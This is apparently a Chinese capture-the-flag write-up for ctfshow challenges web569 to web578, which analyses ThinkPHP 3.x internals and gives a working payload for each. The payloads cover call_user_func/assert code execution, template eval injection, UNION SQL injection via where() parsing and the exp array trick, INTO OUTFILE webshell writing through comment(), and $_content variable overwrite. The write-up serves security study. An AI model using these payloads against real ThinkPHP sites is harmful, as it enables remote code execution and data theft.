- web569
-
- 相关内容
- 题解
- web570
- web571
- web572
- web573
- web574
- web575
- web576
- web577
-
- web578
参考thinkphp手册
为了访问下图中的index方法并输出hello 123我们可以通过下面四种模式。
PATHINFO模式
http://localhost/index.php/Home/Index/index/name/123/
普通模式
http://localhost/index.php?m=Home&c=Index&f=index&name=123
兼容模式
http://localhost/index.php?s=Home/Index/index/name/123
其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,所以我们也可以改成其他的参数。
REWRITE模式
http://localhost/Home/Index/index/name/123/
所以我们要访问Admin模块的Login控制器的ctfshowLogin方法就很简单了 url/index.php/Admin/Login/ctfshowLogin
web570
下载下来题目给的Applicaition文件,在config.php中发现了一条路由规则。
'URL_ROUTE_RULES' => array( 'ctfshow/:f/:a' =>function($f,$a){ call_user_func($f, $a); } )
也就是当我们访问url/index.php/ctfshow/xxx/yyy时会执行call_user_func(xxx,yyy)。 因为输入/很困难,所以我们直接执行system(‘ls /’)不太可能,只能换种方法。 payload: url/index.php/ctfshow/assert/eval($_POST[1])/post:1=system('cat /f*');
web571
在home模块下的index方法中看到了可控变量n。
那我们来研究下这个show函数,为了方面我们传的参数只留下$n
public function index($n=''){ $this->show($n); }
开启调试,跟进display
跟进fetch
可以看到我们传入的n也就是content在TMPL_ENGINE_TYPE是php的情况下会进到eval函数中。
所以我们直接传php代码就可以了。
payload:
?n=
题目中提到了爆破,在thinkphp开启debug的情况下会在Runtime目录下生成log文件,文件的名称是以年_月_日.log来命名的。所以我们可以来爆破文件名
bp抓包爆破
可以看到除了我们当天的日期还有一个21_04_05
日志里面传入了php代码,估计后台是写了个一句话木马,密码是showctf。那我们也来试试。
payload:
index.php?showctf=
内容比较多,单独写了 内容链接
web574题目给了首页的源码
public function index($id=1){ $name = M('Users')->where('id='.$id)->find(); $this->show($html); }
和我们上题分析的区别就是先进的where又进的find,我们来还是来调试下。
传入?id=1'最终在where函数中只执行了下面标注的部分。也就是
$this->options['where']=array("_string"=>"1'")
前面没什么区别,重点在parseWhere中,此时传入的$where就是我们$this->options['where']的值也就是array("_string"=>"1'")。所以我们会进入下面的if
$key是'_string'$val是id=1',,所以最终返回的内容是( id=1 ),所以执行的sql语句是select * from xxx where (id=1') limit 1
payload:?id=0) union select 1,flag4s ,3,4 from flags%23(跑表名和列名的步骤省略)
内容比较多,单独写了 内容链接
web576源码如下
$user = M('Users')->comment($id)->find(intval($id));
因为find的重点id使用了intval,所以前面sql注入的方法无法使用了。那么我们重点看下comment函数
给options的comment赋了值。
前面的步骤就不一一赘述了。我们看下用到comment的地方
当我们传入id=1时最终的sql语句为select * from users where id=1 limit 1 /* 1*/
所以怎么构造就很简单了
payload:
?id=1*/ into outfile "/var/www/html/a.php" lines terminated by "" /*
源码如下,与之前相比多了个where
$map=array( 'id'=>$_GET['id'] ); $user = M('Users')->where($map)->find();
其主要功能就是把传入的值赋值给了$this->options['where']
现在的options是这样的。
往下一直走到_parseOptions函数,当经过标注的这个for循环后val被赋值了options['where']的值。
好我们继续,来到parseWhere的parseWhereItem
当$val是数组时$val[0]赋值给了$exp如果$exp是字符串exp
最后返回的内容是$whereStr .= $key.' '.$val[1];也就是字符串id拼接上$val[1],那么$val是怎么来的呢,我们前面强调了下:_parseOptions函数中,当经过标注的这个for循环后val被赋值了options['where']的值。其实归根结底是赋值的我们传入的id的值。
这下就很明显了。只要我们传入的?id[0]=exp就会进入$whereStr .= $key.' '.$val[1];
接着我们传入的id[1]=xxx就会被放到sql语句中。
payload: ?id[0]=exp&id[1]==0 union select 1,flag4s,2,3 from flags%23
web578源码如下,开始调试
public function index($name='',$from='ctfshow'){ $this->assign($name,$from); $this->display('index'); }
第一个函数assign就是一个简单的赋值。就是说如果我们传入?name=a&from=b,那么$this->tVar=array('a'=>'b');如果我们传入?name[x]=y,那么$this->tVar=array('x'=>'y');
接着我们来看下display,跟进fetch
可以看到这个地方有个extract函数对$this->tVar进行操作。
假设$this->tVar=array('a'=>'b');那么经过这个函数就会生成$a值为b.
下面重点来了empty($_content)?include $templateFile:eval('?>'.$_content);
当$_content不为空时会执行eval函数,这样就能发现了,只要变量覆盖掉$_content就可以执行php代码了
payload:
?name[_content]=